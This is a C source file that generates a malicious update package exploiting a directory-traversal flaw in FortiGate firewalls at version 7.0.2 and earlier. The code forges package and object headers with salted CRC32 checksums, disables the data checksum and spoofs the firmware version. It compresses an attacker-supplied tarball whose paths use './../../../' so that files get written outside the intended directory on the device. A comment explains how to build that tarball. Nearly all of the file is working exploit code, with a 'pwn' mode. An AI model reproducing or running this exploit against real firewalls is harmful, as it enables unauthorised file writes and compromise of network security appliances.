/* When I inevitably ask myself later "why did you write this in C?!??" the answer is: so I can compile against a zlib that's in the same ballpark as the zlib compiled into FG's /bin/init. */ #include #include #include #include #include #include #define MAX_SIZE 4096 #define OFFS_MAGIC_NULL 0xc #define OFFS_MAGIC_SIZE1 0x10 #define OFFS_MAGIC_SIZE2 0x14 #define HEADER_LEN 0x40 #define OFFS_CRC32 0x3c #define FILE_SIZE (MAX_SIZE - sizeof(struct srcvis_pkg_header) - sizeof(struct srcvis_obj_header)) #define FLAG_SKIP_DATA_CRC32 1 #define TEST_MODE 0 #define PWN_MODE 1 #define PKG_HEADER_SALT "B1gS" #define OBJ_HEADER_SALT "H1dN" #define PKG_TEST_TARBALL "test.tar" #define PKG_PWN_TARBALL "pwn.tar" #define PKG_DEFAULT_TYPE "CIDB" #define MAX_OBJS 64 struct _obj_type { char code[4]; char description[64]; // don't pwn me, bro } obj_types[MAX_OBJS] = { { "FCPC", "Command Object" }, { "FCPR", "Response Object" }, { "AVDB", "Virus Definitions" }, { "NIDS", "Attack Definitions" }, { "MUDB", "IPS Malicious URL DB" }, { "PRXY", "Proxy Executables" }, { "AVEN", "AV Eng. Executables" }, { "FDNI", "FortiResp Net Info" }, { "FCNI", "FortiCare Net Info" }, { "FSCI", "Support ctrct Info" }, { "FSAE", "Server auth ext" }, { "FSSI", "System Support Inf" }, { "FDSP", "FDS Push Info" }, { "FDSI", "FDS System Info" }, { "AVST", "Virus Statistics" }, { "IMLT", "Image List" }, { "FIMG", "Firmware Image" }, { "HASY", "HA Sync" }, { "STAT", "FortiClient Info" }, { "FBVO", "FCP Binary Value Obj" }, { "FECT", "FortiClient Ver List" }, { "LIMG", "FC Installer File" }, { "FSLP", "SSLVPN Package File" }, { "FTSI", "FortiToken Activate" }, { "FMDM", "3G/4G Modem List" }, { "FAPV", "FortiAP Matrix File" }, { "IPGO", "IP Geography DB" }, { "CIDB", "Client ID Object" }, { "FLEN", "FlowAV Engine" }, { "FFDB", "FortiFlow Database" }, { "UWDB", "URL White List" }, { "CRDB", "Certificate Bundle" }, { "FLDB", "FlowAV Database" }, { "MMDB", "Mobile Malware DB" }, { "DBDB", "Botnet Domain DB" }, { "FSWV", "FortiSW Matrix File" }, { "APDB", "Application Database" }, { "ISDB", "Industrial Database" }, { "IMMX", "Image Upgrade Matrix" }, { "MCDB", "Malicious Cert. DB" }, { "MIML", "FWF Modem List" }, { "MIMG", "FWF Modem Firmware" }, { "ALCI", "Account Contract Inf" }, { "MADB", "Mac Address DB" }, { "AFDB", "AntiPhish Pattern DB" }, 0 }; struct srcvis_pkg_header { unsigned char pad0[4]; // 0-3 char version[8]; // 4-11 unsigned int num_objects; // 12-15 unsigned int size1; // 16-19 unsigned int header_len; // 20-23 unsigned char unknown1[24]; // 24-47 unsigned int size3; // 48-51 unsigned int size4; // 52-55 unsigned int unknown2; // 56-60 unsigned int crc32; // 60-63 } pkg_header; struct srcvis_obj_header { unsigned char pkg_type[4]; // 0-3 //unsigned int pad0; // 4-7 //unsigned int obj_type; // 8-11 unsigned char unknown1[40]; // 12-43 unsigned int flags; // 44-47 unsigned int data_len; // 48-51 unsigned int header_len; // 52-55 unsigned int magic_null; // 56-59 unsigned char unknown2[60]; // 60-119 unsigned int data_crc32; // 120-123 unsigned int header_crc32; // 124-127 } obj_header; void usage(char *name) { printf("%s [ -t | -p ] filename.img\n\ -t Generate test package, or\n\ -p Generate pwn package.\n\ filename.img Write to this file.\n", name); } /* This exploit generates a file that when processed on a FortiGate firewall <= 7.0.2 will cause a tarball to be extracted in a manner that is subject to directory traversal using "./../../../" (the single "./" is critical). Build a malicious tarball on Linux using `tar Pcf file.tar ./../../../../path/to/file`. */ int main(int argc, char **argv) { FILE *fp, *pfp; if((argc != 3) || (argv[1][1] != 't' && argv[1][1] != 'p')) { usage(argv[0]); exit(1); } int mode = (argv[1][1] == 't') ? TEST_MODE : PWN_MODE; char *tarball_filename = (mode == TEST_MODE) ? PKG_TEST_TARBALL : PKG_PWN_TARBALL; char *package_filename = argv[2]; // clobber existing file, if present if((fp = fopen(package_filename, "w+")) == NULL) { printf("[!] Failed to open %s: %s\n", package_filename, strerror(errno)); exit(1); } // get the payload file size struct stat s; if(stat(tarball_filename, &s) == -1) { printf("[!]error stat(%s)\n", tarball_filename); exit(1); } size_t obj_size = s.st_size; // this .tar.gz will be saved on the Firewall, if all goes well. if((pfp = fopen(tarball_filename, "r")) == NULL) { printf("[!] Error opening %s\n", tarball_filename); exit(1); } printf("[+] Generaing %s package\n", (mode == TEST_MODE) ? "TEST" : "EXPLOIT"); printf("[+] Reading %s for insertion into package file %s\n", tarball_filename, package_filename); char *buf = (char *)malloc(obj_size); fread(buf, 1, obj_size, pfp); fclose(pfp); // FortiGate use low-level raw zlib, so we do too. printf("[+] Compressing %s (%zu bytes)\n", tarball_filename, obj_size); size_t avail_size = obj_size * 4; char *compressed_buf = (char *)malloc(avail_size); // lazy sizing z_stream defstream; defstream.zalloc = Z_NULL; defstream.zfree = Z_NULL; defstream.opaque = Z_NULL; defstream.avail_in = obj_size; defstream.next_in = (Bytef *)buf; defstream.avail_out = avail_size; defstream.next_out = (Bytef *)compressed_buf; // compress using FortiGate's decompress parameters. deflateInit_(&defstream, 9, "1.2.11", 0x70); deflate(&defstream, Z_FINISH); deflateEnd(&defstream); // get the size of the zlib-compressed .tar.gz file. // double compression is like, twice as good, man. int compressed_size = avail_size - defstream.avail_out; printf("[+] Compressed size: %d\n", compressed_size); // null out the package header memset((void *)&pkg_header, 0x00, sizeof(pkg_header)); // build the package header printf("[+] Build pkg_header\n"); pkg_header.size1 = compressed_size + sizeof(obj_header); pkg_header.size3 = 0; // this is magic, don't mess with the zeros pkg_header.size4 = 0; pkg_header.unknown2 = 0; pkg_header.header_len = sizeof(pkg_header); pkg_header.num_objects = 1; // pass the version checks in bf_validate_pkg_firmware_version() @ 01564090 in 7.0.2 VM //memcpy(pkg_header.version, "07000002", 8); // 7.0.2 //memcpy(pkg_header.version, "06000200", 8); // 6.2.0 memcpy(pkg_header.version, "06000004", 8); // 6.0.4 // calculate the package header CRC32 unsigned int *c = &(pkg_header).crc32; *c = crc32(0, 0, 0); *c = crc32(*c, (const unsigned char *)&pkg_header, sizeof(pkg_header) - 4); *c = crc32(*c, (const unsigned char *)PKG_HEADER_SALT, 4); printf("[+] pkg_header crc32: 0x%08x\n", *c); // build the object header printf("[+] Build obj_header\n"); memset(&obj_header, 0x0, sizeof(obj_header)); obj_header.data_len = compressed_size; obj_header.header_len = sizeof(obj_header); obj_header.magic_null = 0; obj_header.flags = FLAG_SKIP_DATA_CRC32; // this controls the type of package we're delivering. // For this exploit it needs to be "CIDB". char type[5] = PKG_DEFAULT_TYPE; // CIDB printf("[+] Using %s for obj_type\n", type); memcpy(obj_header.pkg_type, type, 4); // calculate the object data CRC32 c = &(obj_header).data_crc32; *c = crc32(0, 0, 0); *c = crc32(*c, (const unsigned char *)buf, obj_size); printf("[+] obj_data crc32: 0x%08x\n", *c); // calculate the object header CRC32 c = &(obj_header).header_crc32; *c = crc32(0, 0, 0); *c = crc32(*c, (const unsigned char *)&obj_header, sizeof(obj_header) - 4); *c = crc32(*c, (const unsigned char *)OBJ_HEADER_SALT, 4); printf("[+] obj_header crc32: 0x%08x\n", *c); // write pk header, object header, and object data to file printf("[+] Write pkg_header + obj_header + obj_data > %s\n", package_filename); fwrite((unsigned char *)&pkg_header, 1, sizeof(pkg_header), fp); fwrite((unsigned char *)&obj_header, 1, sizeof(obj_header), fp); fwrite(compressed_buf, 1, compressed_size, fp); printf("[+] All done. So long and thanks for all the fish!"); }